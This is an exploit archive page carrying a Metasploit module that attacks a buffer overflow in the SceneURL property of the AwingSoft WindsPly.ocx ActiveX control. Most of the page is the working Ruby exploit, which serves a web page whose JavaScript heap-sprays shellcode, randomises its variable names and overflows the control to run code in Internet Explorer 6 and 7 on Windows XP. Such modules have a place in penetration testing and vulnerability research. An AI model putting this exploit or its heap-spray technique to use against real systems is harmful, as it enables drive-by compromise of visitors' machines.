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AwingSoft Winds3D Player SceneURL Buffer Overflow

AwingSoft Winds3D Player SceneURL Buffer Overflow
Posted Dec 31, 2009
Authored by shinnai, Trancer, jduck | Site metasploit.com

This Metasploit module exploits a data segment buffer overflow within Winds3D Viewer of AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of AwingSoft Web3D Player. By setting an overly long value to the 'SceneURL' property, an attacker can overrun a buffer and execute arbitrary code.

tags | exploit, overflow, arbitrary, activex
SHA-256 | cc5464c5502efeb363604ff7cff786f441a5c42581c6aaf148a0991375add770

AwingSoft Winds3D Player SceneURL Buffer Overflow

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###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

##
# awingsoft_web3d_bof.rb
#
# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
# - Internet Explorer 6, Windows XP SP2
# - Internet Explorer 7, Windows XP SP3
#
# WindsPly.ocx versions tested:
# - 3.0.0.5
# - 3.5.0.0
# - 3.6.0.0 (beta)
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'AwingSoft Winds3D Player SceneURL Buffer Overflow',
'Description' => %q{
This module exploits a data segment buffer overflow within Winds3D Viewer of
AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of
AwingSoft Web3D Player.
By setting an overly long value to the 'SceneURL' property, an attacker can
overrun a buffer and execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'shinnai <shinnai[at]autistici.org>', # Original exploit [see References]
'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation
'jduck'
],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'OSVDB', '60017' ],
[ 'URL', 'http://www.milw0rm.com/exploits/9116' ],
[ 'URL', 'http://www.shinnai.net/exploits/nsGUdeley3EHfKEV690p.txt' ],
[ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
# data segment size: 76180
# crasher offsets: 2640, 2712, 8984, 68420, 68424
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ]
],
'DisclosureDate' => 'Jul 10 2009',
'DefaultTarget' => 0))
end

def on_request_uri(cli, request)

# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('V'))
blocksize = 0x40000
fillto = 500
offset = target['Offset']

# Randomize the javascript variable names
winds3d = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_ret = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)

# we must leave the page, so we use http-equiv and javascript refresh methods
html = %Q|<html>
<head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head>
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret} = unescape('#{ret}');
while (#{j_ret}.length <= #{offset}) {
#{j_ret} = #{j_ret} + unescape('#{ret}');
}
#{winds3d}.SceneURL = #{j_ret};
setTimeout('window.location = "#{get_resource}";', 500);
</script>
</html>
|

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })

# Handle the payload
handler(cli)
end
end
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